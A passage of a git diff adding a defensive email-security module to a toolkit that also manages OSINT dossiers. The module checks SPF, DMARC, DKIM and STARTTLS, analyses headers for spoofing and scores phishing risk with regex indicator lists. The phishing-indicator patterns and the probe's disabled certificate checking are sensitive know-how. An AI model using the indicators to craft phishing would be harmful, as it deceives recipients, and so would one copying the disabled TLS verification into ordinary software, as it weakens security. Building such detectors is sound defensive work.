+ print(f"{Colors.DIM} Manage OSINT investigation dossiers{Colors.RESET}")
+ print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}")
+ print()
+
+ # Show stats
+ dossiers = self.list_dossiers()
+ print(f" {Colors.DIM}Saved dossiers: {len(dossiers)}{Colors.RESET}")
+ print()
+
+ print(f" {Colors.GREEN}[1]{Colors.RESET} Start New Dossier")
+ print(f" {Colors.GREEN}[2]{Colors.RESET} View Dossiers")
+ print()
+ print(f" {Colors.DIM}[0]{Colors.RESET} Back")
+ print()
+
+ def run(self):
+ while True:
+ self.show_menu()
+ try:
+ choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip()
+
+ if choice == "0":
+ break
+ elif choice == "1":
+ self.create_new_dossier()
+ elif choice == "2":
+ self.view_dossiers_list()
+
+ except (EOFError, KeyboardInterrupt):
+ break
+
+
+def run():
+ DossierManager().run()
+
+
+if __name__ == "__main__":
+ run()
diff --git a/modules/email_sec.py b/modules/email_sec.py
new file mode 100644
index 0000000..27e09d2
--- /dev/null
+++ b/modules/email_sec.py
@@ -0,0 +1,1590 @@
+"""AUTARCH Email Security
+
+DMARC/SPF/DKIM analysis, email header forensics, phishing detection,
+mailbox search, and abuse report generation for email security assessment.
+"""
+
+DESCRIPTION = "Email security — DMARC, SPF, header forensics"
+AUTHOR = "darkHal"
+VERSION = "1.0"
+CATEGORY = "defense"
+
+import os
+import re
+import sys
+import json
+import ssl
+import time
+import socket
+import struct
+import hashlib
+import imaplib
+import poplib
+import email
+import email.header
+import email.utils
+from pathlib import Path
+from datetime import datetime, timezone
+from typing import Dict, List, Optional, Any, Tuple
+from urllib.parse import urlparse
+import subprocess
+
+try:
+ from core.paths import get_data_dir
+except ImportError:
+ def get_data_dir():
+ return str(Path(__file__).parent.parent / 'data')
+
+sys.path.insert(0, str(Path(__file__).parent.parent))
+try:
+ from core.banner import Colors, clear_screen, display_banner
+except ImportError:
+ class Colors:
+ RED = BLUE = GREEN = YELLOW = CYAN = WHITE = DIM = RESET = ''
+ def clear_screen(): pass
+ def display_banner(): pass
+
+
+# -- Constants ---------------------------------------------------------------
+
+COMMON_DKIM_SELECTORS = [
+ 'default', 'google', 'selector1', 'selector2', 'k1', 'k2',
+ 'dkim', 'mail', 's1', 's2', 'smtp', 'mandrill', 'everlytickey1',
+ 'everlytickey2', 'sig1', 'mxvault', 'a1', 'a2', 'cm', 'pm',
+ 'protonmail', 'protonmail2', 'protonmail3',
+]
+
+BLACKLISTS = [
+ 'zen.spamhaus.org',
+ 'bl.spamcop.net',
+ 'b.barracudacentral.org',
+ 'dnsbl.sorbs.net',
+ 'spam.dnsbl.sorbs.net',
+ 'dul.dnsbl.sorbs.net',
+ 'cbl.abuseat.org',
+ 'dnsbl-1.uceprotect.net',
+ 'psbl.surriel.com',
+ 'all.s5h.net',
+ 'rbl.interserver.net',
+ 'dnsbl.dronebl.org',
+ 'db.wpbl.info',
+ 'bl.mailspike.net',
+ 'truncate.gbudb.net',
+]
+
+PHISHING_INDICATORS = {
+ 'urgency_words': {
+ 'patterns': [
+ r'\b(urgent|immediate|action\s+required|act\s+now|expires?\s+today)\b',
+ r'\b(suspended|disabled|locked|compromised|unauthorized)\b',
+ r'\b(verify\s+your|confirm\s+your|update\s+your|validate)\b',
+ r'\b(within\s+24\s+hours|limited\s+time|final\s+notice|last\s+chance)\b',
+ ],
+ 'weight': 15,
+ },
+ 'suspicious_urls': {
+ 'patterns': [
+ r'https?://\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', # IP-based URLs
+ r'https?://[^/]*\.(tk|ml|ga|cf|gq|xyz|top|buzz|club|work|click)\b', # suspicious TLDs
+ r'https?://bit\.ly|tinyurl\.com|goo\.gl|t\.co|is\.gd|shorte\.st', # shorteners
+ ],
+ 'weight': 25,
+ },
+ 'brand_impersonation': {
+ 'patterns': [
+ r'\b(paypal|apple|microsoft|google|amazon|facebook|netflix|bank)\b',
+ ],
+ 'weight': 10,
+ },
+ 'dangerous_attachments': {
+ 'patterns': [
+ r'\.(exe|scr|bat|cmd|com|pif|vbs|vbe|js|jse|wsf|wsh|ps1|msi|dll)\b',
+ r'\.(doc|xls|ppt)m\b', # macro-enabled Office
+ r'\.iso\b|\.img\b|\.hta\b',
+ ],
+ 'weight': 30,
+ },
+ 'encoding_tricks': {
+ 'patterns': [
+ r'xn--', # punycode
+ r'\d+;', # HTML entities numeric
+ r'[0-9a-f]+;', # HTML entities hex
+ r'=\?[^?]*\?B\?', # Base64 encoded headers
+ ],
+ 'weight': 20,
+ },
+}
+
+URL_SHORTENER_DOMAINS = {
+ 'bit.ly', 'tinyurl.com', 'goo.gl', 't.co', 'is.gd', 'shorte.st',
+ 'ow.ly', 'buff.ly', 'rebrand.ly', 'cutt.ly', 'tiny.cc', 'lnkd.in',
+ 'rb.gy', 'v.gd', 'qr.ae', 'bl.ink',
+}
+
+SUSPICIOUS_TLDS = {
+ '.tk', '.ml', '.ga', '.cf', '.gq', '.xyz', '.top', '.buzz',
+ '.club', '.work', '.click', '.link', '.info', '.biz', '.stream',
+ '.download', '.win', '.racing', '.review', '.country', '.science',
+}
+
+
+# -- Helper ------------------------------------------------------------------
+
+def _dns_query(name: str, record_type: str = 'TXT', timeout: int = 5) -> List[str]:
+ """Query DNS records using nslookup subprocess fallback."""
+ results = []
+ try:
+ if record_type == 'TXT':
+ # Try socket-based approach first for basic lookups
+ try:
+ answers = socket.getaddrinfo(name, None)
+ # socket.getaddrinfo doesn't return TXT — fall through
+ except Exception:
+ pass
+
+ # Use nslookup as cross-platform fallback
+ cmd = ['nslookup', '-type=' + record_type, name]
+ proc = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
+ output = proc.stdout + proc.stderr
+
+ # Parse TXT records from nslookup output
+ for line in output.split('\n'):
+ line = line.strip()
+ if '=' in line and 'text' in line.lower():
+ # Format: text = "v=spf1 ..."
+ txt = line.split('=', 1)[1].strip().strip('"')
+ results.append(txt)
+ elif line.startswith('"') and line.endswith('"'):
+ results.append(line.strip('"'))
+ elif 'v=spf1' in line or 'v=DMARC1' in line or 'v=DKIM1' in line:
+ # Sometimes the record is on the line itself
+ match = re.search(r'"([^"]+)"', line)
+ if match:
+ results.append(match.group(1))
+ elif 'v=' in line:
+ # Grab from v= onward
+ idx = line.index('v=')
+ results.append(line[idx:].strip().strip('"'))
+
+ elif record_type == 'MX':
+ cmd = ['nslookup', '-type=MX', name]
+ proc = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
+ output = proc.stdout
+
+ for line in output.split('\n'):
+ line = line.strip()
+ # "mail exchanger = 10 mx1.example.com."
+ mx_match = re.search(r'mail exchanger\s*=\s*(\d+)\s+(\S+)', line, re.I)
+ if mx_match:
+ priority = int(mx_match.group(1))
+ host = mx_match.group(2).rstrip('.')
+ results.append(f"{priority} {host}")
+ # Also handle "MX preference = 10, mail exchanger = ..."
+ mx_match2 = re.search(r'preference\s*=\s*(\d+).*exchanger\s*=\s*(\S+)', line, re.I)
+ if mx_match2:
+ priority = int(mx_match2.group(1))
+ host = mx_match2.group(2).rstrip('.')
+ results.append(f"{priority} {host}")
+
+ elif record_type in ('A', 'AAAA'):
+ cmd = ['nslookup', '-type=' + record_type, name]
+ proc = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
+ output = proc.stdout
+
+ for line in output.split('\n'):
+ line = line.strip()
+ addr_match = re.search(r'Address:\s*(\S+)', line)
+ if addr_match:
+ addr = addr_match.group(1)
+ # Skip the DNS server address (first one, usually has #53)
+ if '#' not in addr and addr != name:
+ results.append(addr)
+
+ except subprocess.TimeoutExpired:
+ pass
+ except FileNotFoundError:
+ pass
+ except Exception:
+ pass
+
+ return results
+
+
+def _reverse_ip(ip: str) -> str:
+ """Reverse an IPv4 address for DNSBL lookup."""
+ parts = ip.split('.')
+ parts.reverse()
+ return '.'.join(parts)
+
+
+def _is_valid_ip(s: str) -> bool:
+ """Check if string is a valid IPv4 address."""
+ try:
+ socket.inet_aton(s)
+ return True
+ except (socket.error, OSError):
+ return False
+
+
+def _resolve_domain(domain: str) -> Optional[str]:
+ """Resolve a domain to an IPv4 address."""
+ try:
+ return socket.gethostbyname(domain)
+ except (socket.gaierror, socket.herror):
+ return None
+
+
+# -- EmailSecurity class -----------------------------------------------------
+
+class EmailSecurity:
+ """Email security analysis engine."""
+
+ _instance = None
+
+ def __init__(self):
+ data_dir = get_data_dir()
+ if isinstance(data_dir, str):
+ data_dir = Path(data_dir)
+ self.storage_dir = data_dir / 'email_sec'
+ self.storage_dir.mkdir(parents=True, exist_ok=True)
+ self._cache = {}
+ self._cache_ttl = 300 # 5 minutes
+
+ # -- DNS helper ----------------------------------------------------------
+
+ def get_dns_record(self, domain: str, record_type: str = 'TXT') -> List[str]:
+ """Query DNS records for a domain."""
+ cache_key = f"{record_type}:{domain}"
+ cached = self._cache.get(cache_key)
+ if cached and time.time() - cached['ts'] < self._cache_ttl:
+ return cached['data']
+
+ results = _dns_query(domain, record_type)
+ self._cache[cache_key] = {'data': results, 'ts': time.time()}
+ return results
+
+ # -- SPF -----------------------------------------------------------------
+
+ def check_spf(self, domain: str) -> Dict[str, Any]:
+ """Parse and analyze the SPF record for a domain."""
+ records = self.get_dns_record(domain, 'TXT')
+ spf_record = None
+ for rec in records:
+ if rec.strip().startswith('v=spf1'):
+ spf_record = rec.strip()
+ break
+
+ result = {
+ 'domain': domain,
+ 'found': spf_record is not None,
+ 'record': spf_record or '',
+ 'mechanisms': [],
+ 'qualifiers': {},
+ 'includes': [],
+ 'all_policy': 'missing',
+ 'dns_lookups': 0,
+ 'findings': [],
+ 'status': 'fail',
+ }
+
+ if not spf_record:
+ result['findings'].append({'level': 'fail', 'message': 'No SPF record found'})
+ return result
+
+ # Parse mechanisms
+ parts = spf_record.split()
+ lookup_count = 0
+
+ for part in parts[1:]: # skip v=spf1
+ qualifier = '+'
+ mechanism = part
+
+ if part[0] in '+-~?':
+ qualifier = part[0]
+ mechanism = part[1:]
+
+ if mechanism.startswith('ip4:') or mechanism.startswith('ip6:'):
+ mtype = 'ip4' if mechanism.startswith('ip4:') else 'ip6'
+ value = mechanism.split(':', 1)[1]
+ result['mechanisms'].append({'type': mtype, 'value': value, 'qualifier': qualifier})
+ elif mechanism.startswith('include:'):
+ include_domain = mechanism.split(':', 1)[1]
+ result['includes'].append(include_domain)
+ result['mechanisms'].append({'type': 'include', 'value': include_domain, 'qualifier': qualifier})
+ lookup_count += 1
+ elif mechanism.startswith('a:') or mechanism == 'a':
+ value = mechanism.split(':', 1)[1] if ':' in mechanism else domain
+ result['mechanisms'].append({'type': 'a', 'value': value, 'qualifier': qualifier})
+ lookup_count += 1
+ elif mechanism.startswith('mx:') or mechanism == 'mx':
+ value = mechanism.split(':', 1)[1] if ':' in mechanism else domain
+ result['mechanisms'].append({'type': 'mx', 'value': value, 'qualifier': qualifier})
+ lookup_count += 1
+ elif mechanism.startswith('ptr'):
+ result['mechanisms'].append({'type': 'ptr', 'value': mechanism, 'qualifier': qualifier})
+ lookup_count += 1
+ result['findings'].append({'level': 'warn', 'message': 'PTR mechanism is deprecated (RFC 7208)'})
+ elif mechanism.startswith('exists:'):
+ value = mechanism.split(':', 1)[1]
+ result['mechanisms'].append({'type': 'exists', 'value': value, 'qualifier': qualifier})
+ lookup_count += 1
+ elif mechanism.startswith('redirect='):
+ value = mechanism.split('=', 1)[1]
+ result['mechanisms'].append({'type': 'redirect', 'value': value, 'qualifier': qualifier})
+ lookup_count += 1
+ elif mechanism == 'all':
+ result['all_policy'] = qualifier
+ qualifier_names = {'+': 'pass', '-': 'hardfail', '~': 'softfail', '?': 'neutral'}
+ result['mechanisms'].append({'type': 'all', 'value': 'all', 'qualifier': qualifier})
+ result['qualifiers']['all'] = qualifier_names.get(qualifier, qualifier)
+
+ result['dns_lookups'] = lookup_count
+
+ # Analyze findings
+ if result['all_policy'] == '-':
+ result['findings'].append({'level': 'pass', 'message': 'SPF uses hardfail (-all) — recommended'})
+ result['status'] = 'pass'
+ elif result['all_policy'] == '~':
+ result['findings'].append({'level': 'warn', 'message': 'SPF uses softfail (~all) — hardfail (-all) recommended'})
+ result['status'] = 'warn'
+ elif result['all_policy'] == '+':
+ result['findings'].append({'level': 'fail', 'message': 'SPF allows all senders (+all) — anyone can spoof this domain'})
+ result['status'] = 'fail'
+ elif result['all_policy'] == '?':
+ result['findings'].append({'level': 'warn', 'message': 'SPF uses neutral (?all) — provides no protection'})
+ result['status'] = 'warn'
+ elif result['all_policy'] == 'missing':
+ result['findings'].append({'level': 'fail', 'message': 'No "all" mechanism — implicit +all (no protection)'})
+ result['status'] = 'fail'
+
+ if lookup_count > 10:
+ result['findings'].append({
+ 'level': 'fail',
+ 'message': f'Too many DNS lookups ({lookup_count}) — SPF limit is 10 (RFC 7208)'
+ })
+ elif lookup_count > 7:
+ result['findings'].append({
+ 'level': 'warn',
+ 'message': f'{lookup_count} DNS lookups — approaching SPF limit of 10'
+ })
+
+ if len(result['includes']) > 5:
+ result['findings'].append({
+ 'level': 'warn',
+ 'message': f'{len(result["includes"])} include directives — consider consolidating'
+ })
+
+ return result
+
+ # -- DMARC ---------------------------------------------------------------
+
+ def check_dmarc(self, domain: str) -> Dict[str, Any]:
+ """Parse and analyze the DMARC record for a domain."""
+ dmarc_domain = f'_dmarc.{domain}'
+ records = self.get_dns_record(dmarc_domain, 'TXT')
+ dmarc_record = None
+ for rec in records:
+ if rec.strip().startswith('v=DMARC1'):
+ dmarc_record = rec.strip()
+ break
+
+ result = {
+ 'domain': domain,
+ 'found': dmarc_record is not None,
+ 'record': dmarc_record or '',
+ 'policy': 'none',
+ 'subdomain_policy': None,
+ 'pct': 100,
+ 'rua': [],
+ 'ruf': [],
+ 'aspf': 'r', # relaxed
+ 'adkim': 'r', # relaxed
+ 'fo': '0',
+ 'findings': [],
+ 'status': 'fail',
+ }
+
+ if not dmarc_record:
+ result['findings'].append({'level': 'fail', 'message': 'No DMARC record found'})
+ return result
+
+ # Parse tags
+ tags = {}
+ for part in dmarc_record.split(';'):
+ part = part.strip()
+ if '=' in part:
+ key, val = part.split('=', 1)
+ tags[key.strip()] = val.strip()
+
+ result['policy'] = tags.get('p', 'none')
+ result['subdomain_policy'] = tags.get('sp')
+ result['pct'] = int(tags.get('pct', '100'))
+ result['aspf'] = tags.get('aspf', 'r')
+ result['adkim'] = tags.get('adkim', 'r')
+ result['fo'] = tags.get('fo', '0')
+
+ if 'rua' in tags:
+ result['rua'] = [u.strip() for u in tags['rua'].split(',')]
+ if 'ruf' in tags:
+ result['ruf'] = [u.strip() for u in tags['ruf'].split(',')]
+
+ # Analyze
+ policy = result['policy']
+ if policy == 'reject':
+ result['findings'].append({'level': 'pass', 'message': 'DMARC policy is "reject" — strongest protection'})
+ result['status'] = 'pass'
+ elif policy == 'quarantine':
+ result['findings'].append({'level': 'warn', 'message': 'DMARC policy is "quarantine" — "reject" recommended'})
+ result['status'] = 'warn'
+ elif policy == 'none':
+ result['findings'].append({'level': 'fail', 'message': 'DMARC policy is "none" — no protection (monitoring only)'})
+ result['status'] = 'fail'
+
+ if result['pct'] < 100:
+ result['findings'].append({
+ 'level': 'warn',
+ 'message': f'DMARC pct={result["pct"]}% — only applies to {result["pct"]}% of messages'
+ })
+
+ if not result['rua']:
+ result['findings'].append({'level': 'warn', 'message': 'No aggregate report URI (rua) — no visibility into failures'})
+
+ if result['subdomain_policy'] and result['subdomain_policy'] != policy:
+ result['findings'].append({
+ 'level': 'warn',
+ 'message': f'Subdomain policy (sp={result["subdomain_policy"]}) differs from domain policy (p={policy})'
+ })
+
+ if result['aspf'] == 'r':
+ result['findings'].append({'level': 'warn', 'message': 'SPF alignment is relaxed — strict (aspf=s) recommended'})
+ if result['adkim'] == 'r':
+ result['findings'].append({'level': 'warn', 'message': 'DKIM alignment is relaxed — strict (adkim=s) recommended'})
+
+ return result
+
+ # -- DKIM ----------------------------------------------------------------
+
+ def check_dkim(self, domain: str, selectors: Optional[List[str]] = None) -> Dict[str, Any]:
+ """Try common DKIM selectors to find signing keys."""
+ if selectors is None:
+ selectors = COMMON_DKIM_SELECTORS
+
+ result = {
+ 'domain': domain,
+ 'found_selectors': [],
+ 'checked_selectors': selectors,
+ 'findings': [],
+ 'status': 'fail',
+ }
+
+ for selector in selectors:
+ dkim_domain = f'{selector}._domainkey.{domain}'
+ records = self.get_dns_record(dkim_domain, 'TXT')
+
+ for rec in records:
+ if 'v=DKIM1' in rec or 'k=' in rec or 'p=' in rec:
+ key_info = {'selector': selector, 'record': rec}
+
+ # Parse key fields
+ tags = {}
+ for part in rec.split(';'):
+ part = part.strip()
+ if '=' in part:
+ k, v = part.split('=', 1)
+ tags[k.strip()] = v.strip()
+
+ key_info['version'] = tags.get('v', '')
+ key_info['key_type'] = tags.get('k', 'rsa')
+ key_info['public_key'] = tags.get('p', '')
+ key_info['flags'] = tags.get('t', '')
+ key_info['hash_algorithms'] = tags.get('h', '')
+ key_info['notes'] = tags.get('n', '')
+
+ if not tags.get('p'):
+ key_info['revoked'] = True
+ result['findings'].append({
+ 'level': 'warn',
+ 'message': f'Selector "{selector}" has empty public key — key may be revoked'
+ })
+ else:
+ key_info['revoked'] = False
+
+ result['found_selectors'].append(key_info)
+ break
+
+ if result['found_selectors']:
+ active = [s for s in result['found_selectors'] if not s.get('revoked')]
+ if active:
+ result['status'] = 'pass'
+ result['findings'].insert(0, {
+ 'level': 'pass',
+ 'message': f'Found {len(active)} active DKIM selector(s): {", ".join(s["selector"] for s in active)}'
+ })
+ else:
+ result['findings'].insert(0, {
+ 'level': 'warn',
+ 'message': 'DKIM selectors found but all appear revoked'
+ })
+ else:
+ result['findings'].append({
+ 'level': 'warn',
+ 'message': f'No DKIM records found for {len(selectors)} common selectors'
+ })
+
+ return result
+
+ # -- MX ------------------------------------------------------------------
+
+ def check_mx(self, domain: str) -> Dict[str, Any]:
+ """Query MX records and analyze mail servers."""
+ mx_records = self.get_dns_record(domain, 'MX')
+
+ result = {
+ 'domain': domain,
+ 'mx_records': [],
+ 'findings': [],
+ 'status': 'fail',
+ }
+
+ if not mx_records:
+ result['findings'].append({'level': 'fail', 'message': 'No MX records found'})
+ return result
+
+ result['status'] = 'pass'
+
+ for mx_entry in mx_records:
+ parts = mx_entry.split(None, 1)
+ if len(parts) == 2:
+ priority = int(parts[0])
+ host = parts[1].rstrip('.')
+ else:
+ priority = 0
+ host = mx_entry.rstrip('.')
+
+ mx_info = {
+ 'priority': priority,
+ 'host': host,
+ 'ip': _resolve_domain(host),
+ 'starttls': False,
+ 'starttls_error': None,
+ }
+
+ # Check STARTTLS
+ tls_result = self.check_starttls(host)
+ mx_info['starttls'] = tls_result.get('starttls', False)
+ mx_info['starttls_error'] = tls_result.get('error')
+ mx_info['banner'] = tls_result.get('banner', '')
+
+ if not mx_info['starttls']:
+ result['findings'].append({
+ 'level': 'warn',
+ 'message': f'MX {host} does not support STARTTLS'
+ })
+
+ result['mx_records'].append(mx_info)
+
+ result['mx_records'].sort(key=lambda x: x['priority'])
+
+ if len(result['mx_records']) == 1:
+ result['findings'].append({
+ 'level': 'warn',
+ 'message': 'Only one MX record — no redundancy for mail delivery'
+ })
+
+ all_tls = all(mx['starttls'] for mx in result['mx_records'])
+ if all_tls:
+ result['findings'].insert(0, {
+ 'level': 'pass',
+ 'message': f'All {len(result["mx_records"])} MX servers support STARTTLS'
+ })
+
+ return result
+
+ # -- STARTTLS ------------------------------------------------------------
+
+ def check_starttls(self, host: str, port: int = 25) -> Dict[str, Any]:
+ """Check if an SMTP server supports STARTTLS."""
+ result = {
+ 'host': host,
+ 'port': port,
+ 'starttls': False,
+ 'banner': '',
+ 'tls_version': None,
+ 'cipher': None,
+ 'error': None,
+ }
+
+ try:
+ sock = socket.create_connection((host, port), timeout=8)
+ banner = sock.recv(1024).decode('utf-8', errors='replace').strip()
+ result['banner'] = banner
+
+ # Send EHLO
+ sock.sendall(b'EHLO autarch.local\r\n')
+ ehlo_resp = sock.recv(4096).decode('utf-8', errors='replace')
+
+ if 'STARTTLS' in ehlo_resp.upper():
+ result['starttls'] = True
+
+ # Try upgrading
+ sock.sendall(b'STARTTLS\r\n')
+ tls_resp = sock.recv(1024).decode('utf-8', errors='replace')
+
+ if tls_resp.startswith('220'):
+ try:
+ context = ssl.create_default_context()
+ context.check_hostname = False
+ context.verify_mode = ssl.CERT_NONE
+ tls_sock = context.wrap_socket(sock, server_hostname=host)
+ result['tls_version'] = tls_sock.version()
+ cipher = tls_sock.cipher()
+ if cipher:
+ result['cipher'] = cipher[0]
+ tls_sock.close()
+ return result
+ except ssl.SSLError as e:
+ result['error'] = f'TLS handshake failed: {e}'
+
+ sock.sendall(b'QUIT\r\n')
+ sock.close()
+ except socket.timeout:
+ result['error'] = 'Connection timed out'
+ except ConnectionRefusedError:
+ result['error'] = 'Connection refused'
+ except Exception as e:
+ result['error'] = str(e)
+
+ return result
+
+ # -- Domain Analysis (full) ----------------------------------------------
+
+ def analyze_domain(self, domain: str) -> Dict[str, Any]:
+ """Comprehensive email security analysis for a domain."""
+ domain = domain.strip().lower()
+
+ spf = self.check_spf(domain)
+ dmarc = self.check_dmarc(domain)
+ dkim = self.check_dkim(domain)
+ mx = self.check_mx(domain)
+
+ # Calculate overall score
+ scores = {'pass': 0, 'warn': 0, 'fail': 0}
+ for check in [spf, dmarc, dkim, mx]:
+ status = check.get('status', 'fail')
+ scores[status] = scores.get(status, 0) + 1
+
+ total = sum(scores.values())
+ if total > 0:
+ score = int(((scores['pass'] * 100) + (scores['warn'] * 50)) / total)
+ else:
+ score = 0
+
+ # Grade
+ if score >= 90:
+ grade = 'A'
+ elif score >= 75:
+ grade = 'B'
+ elif score >= 60:
+ grade = 'C'
+ elif score >= 40:
+ grade = 'D'
+ else:
+ grade = 'F'
+
+ result = {
+ 'domain': domain,
+ 'timestamp': datetime.now(timezone.utc).isoformat(),
+ 'spf': spf,
+ 'dmarc': dmarc,
+ 'dkim': dkim,
+ 'mx': mx,
+ 'score': score,
+ 'grade': grade,
+ 'summary': {
+ 'spf_status': spf['status'],
+ 'dmarc_status': dmarc['status'],
+ 'dkim_status': dkim['status'],
+ 'mx_status': mx['status'],
+ }
+ }
+
+ # Save analysis
+ self._save_analysis(domain, result)
+ return result
+
+ # -- Header Analysis -----------------------------------------------------
+
+ def analyze_headers(self, raw_headers: str) -> Dict[str, Any]:
+ """Parse and analyze email headers for security issues."""
+ result = {
+ 'received_chain': [],
+ 'authentication': {
+ 'spf': 'none',
+ 'dkim': 'none',
+ 'dmarc': 'none',
+ },
+ 'from': '',
+ 'return_path': '',
+ 'reply_to': '',
+ 'message_id': '',
+ 'date': '',
+ 'subject': '',
+ 'originating_ip': None,
+ 'spoofing_indicators': [],
+ 'findings': [],
+ }
+
+ # Parse with email module
+ msg = email.message_from_string(raw_headers)
+
+ # Extract basic headers
+ result['from'] = str(msg.get('From', ''))
+ result['return_path'] = str(msg.get('Return-Path', ''))
+ result['reply_to'] = str(msg.get('Reply-To', ''))
+ result['message_id'] = str(msg.get('Message-ID', ''))
+ result['date'] = str(msg.get('Date', ''))
+ result['subject'] = str(msg.get('Subject', ''))
+
+ # Decode encoded headers
+ for field in ['from', 'subject', 'reply_to']:
+ val = result[field]
+ if val and '=?' in val:
+ decoded_parts = email.header.decode_header(val)
+ decoded = ''
+ for part, charset in decoded_parts:
+ if isinstance(part, bytes):
+ decoded += part.decode(charset or 'utf-8', errors='replace')
+ else:
+ decoded += str(part)
+ result[field] = decoded
+
+ # Parse Received chain
+ received_headers = msg.get_all('Received', [])
+ for i, recv in enumerate(received_headers):
+ hop = {'raw': recv, 'hop': i + 1}
+
+ # Extract from/by
+ from_match = re.search(r'from\s+(\S+)', recv, re.I)
+ by_match = re.search(r'by\s+(\S+)', recv, re.I)
+ if from_match:
+ hop['from'] = from_match.group(1)
+ if by_match:
+ hop['by'] = by_match.group(1)
+
+ # Extract IP
+ ip_match = re.search(r'\[(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\]', recv)
+ if ip_match:
+ hop['ip'] = ip_match.group(1)
+
+ # Extract timestamp
+ ts_match = re.search(r';\s*(.+?)$', recv)
+ if ts_match:
+ hop['timestamp'] = ts_match.group(1).strip()
+
+ result['received_chain'].append(hop)
+
+ # Originating IP (last Received header — outermost hop)
+ if result['received_chain']:
+ for hop in reversed(result['received_chain']):
+ if hop.get('ip') and not hop['ip'].startswith(('10.', '192.168.', '172.')):
+ result['originating_ip'] = hop['ip']
+ break
+
+ # Parse Authentication-Results
+ auth_results = msg.get_all('Authentication-Results', [])
+ for ar in auth_results:
+ ar_lower = ar.lower()
+ if 'spf=' in ar_lower:
+ spf_match = re.search(r'spf=(\w+)', ar_lower)
+ if spf_match:
+ result['authentication']['spf'] = spf_match.group(1)
+ if 'dkim=' in ar_lower:
+ dkim_match = re.search(r'dkim=(\w+)', ar_lower)
+ if dkim_match:
+ result['authentication']['dkim'] = dkim_match.group(1)
+ if 'dmarc=' in ar_lower:
+ dmarc_match = re.search(r'dmarc=(\w+)', ar_lower)
+ if dmarc_match:
+ result['authentication']['dmarc'] = dmarc_match.group(1)
+
+ # Spoofing indicators
+ from_addr = result['from']
+ return_path = result['return_path']
+ reply_to = result['reply_to']
+
+ # Extract domain from From header
+ from_domain_match = re.search(r'@([\w.-]+)', from_addr)
+ from_domain = from_domain_match.group(1) if from_domain_match else ''
+
+ rp_domain_match = re.search(r'@([\w.-]+)', return_path)
+ rp_domain = rp_domain_match.group(1) if rp_domain_match else ''
+
+ if from_domain and rp_domain and from_domain.lower() != rp_domain.lower():
+ result['spoofing_indicators'].append({
+ 'level': 'warn',
+ 'indicator': 'From/Return-Path mismatch',
+ 'detail': f'From domain: {from_domain}, Return-Path domain: {rp_domain}'
+ })
+
+ if reply_to:
+ rt_domain_match = re.search(r'@([\w.-]+)', reply_to)
+ rt_domain = rt_domain_match.group(1) if rt_domain_match else ''
+ if from_domain and rt_domain and from_domain.lower() != rt_domain.lower():
+ result['spoofing_indicators'].append({
+ 'level': 'warn',
+ 'indicator': 'From/Reply-To mismatch',
+ 'detail': f'From domain: {from_domain}, Reply-To domain: {rt_domain}'
+ })
+
+ # Check authentication failures
+ for auth_type, auth_result in result['authentication'].items():
+ if auth_result == 'fail':
+ result['findings'].append({
+ 'level': 'fail',
+ 'message': f'{auth_type.upper()} authentication failed'
+ })
+ elif auth_result == 'pass':
+ result['findings'].append({
+ 'level': 'pass',
+ 'message': f'{auth_type.upper()} authentication passed'
+ })
+ elif auth_result == 'none':
+ result['findings'].append({
+ 'level': 'warn',
+ 'message': f'No {auth_type.upper()} authentication result'
+ })
+
+ # Check for suspicious Received hops
+ if len(result['received_chain']) > 8:
+ result['findings'].append({
+ 'level': 'warn',
+ 'message': f'Unusually long Received chain ({len(result["received_chain"])} hops)'
+ })
+
+ return result
+
+ # -- Phishing Detection --------------------------------------------------
+
+ def detect_phishing(self, email_content: str) -> Dict[str, Any]:
+ """Analyze email content for phishing indicators."""
+ result = {
+ 'risk_score': 0,
+ 'risk_level': 'low',
+ 'findings': [],
+ 'urls_found': [],
+ 'suspicious_urls': [],
+ 'attachment_refs': [],
+ }
+
+ content_lower = email_content.lower()
+ total_weight = 0
+
+ # Check each indicator category
+ for category, info in PHISHING_INDICATORS.items():
+ category_hits = []
+ for pattern in info['patterns']:
+ matches = re.findall(pattern, content_lower, re.I)
+ if matches:
+ category_hits.extend(matches)
+
+ if category_hits:
+ total_weight += info['weight']
+ result['findings'].append({
+ 'category': category,
+ 'severity': 'high' if info['weight'] >= 25 else 'medium' if info['weight'] >= 15 else 'low',
+ 'matches': list(set(str(m) if isinstance(m, str) else str(m) for m in category_hits[:10])),
+ 'weight': info['weight'],
+ })
+
+ # Extract and analyze URLs
+ urls = re.findall(r'https?://[^\s<>"\')\]]+', email_content, re.I)
+ result['urls_found'] = list(set(urls))
+
+ for url in result['urls_found']:
+ suspicious_reasons = []
+ parsed = urlparse(url)
+ hostname = parsed.hostname or ''
+
+ # IP-based URL
+ if _is_valid_ip(hostname):
+ suspicious_reasons.append('IP-based URL')
+
+ # URL shortener
+ if hostname.lower() in URL_SHORTENER_DOMAINS:
+ suspicious_reasons.append('URL shortener')
+
+ # Suspicious TLD
+ for tld in SUSPICIOUS_TLDS:
+ if hostname.endswith(tld):
+ suspicious_reasons.append(f'Suspicious TLD ({tld})')
+ break
+
+ # Long subdomain (possible typosquatting)
+ parts = hostname.split('.')
+ if len(parts) > 4:
+ suspicious_reasons.append('Excessive subdomains')
+
+ # @-symbol in URL (credential harvesting trick)
+ if '@' in url:
+ suspicious_reasons.append('Contains @ symbol (possible credential trick)')
+
+ # Homograph / punycode
+ if hostname.startswith('xn--'):
+ suspicious_reasons.append('Punycode/IDN domain')
+
+ if suspicious_reasons:
+ result['suspicious_urls'].append({
+ 'url': url,
+ 'reasons': suspicious_reasons,
+ })
+ total_weight += 10
+
+ # Check for attachment references
+ attachment_exts = re.findall(
+ r'[\w.-]+\.(exe|scr|bat|cmd|com|pif|vbs|vbe|js|jse|wsf|wsh|ps1|msi|dll|docm|xlsm|pptm|iso|img|hta|lnk|zip|rar|7z)',
+ content_lower
+ )
+ if attachment_exts:
+ result['attachment_refs'] = list(set(attachment_exts))
+ total_weight += 15
+
+ # Calculate risk score (0-100)
+ result['risk_score'] = min(100, total_weight)
+ if result['risk_score'] >= 70:
+ result['risk_level'] = 'critical'
+ elif result['risk_score'] >= 50:
+ result['risk_level'] = 'high'
+ elif result['risk_score'] >= 30:
+ result['risk_level'] = 'medium'
+ else:
+ result['risk_level'] = 'low'
+
+ return result
+
+ # -- Mailbox Search ------------------------------------------------------
+
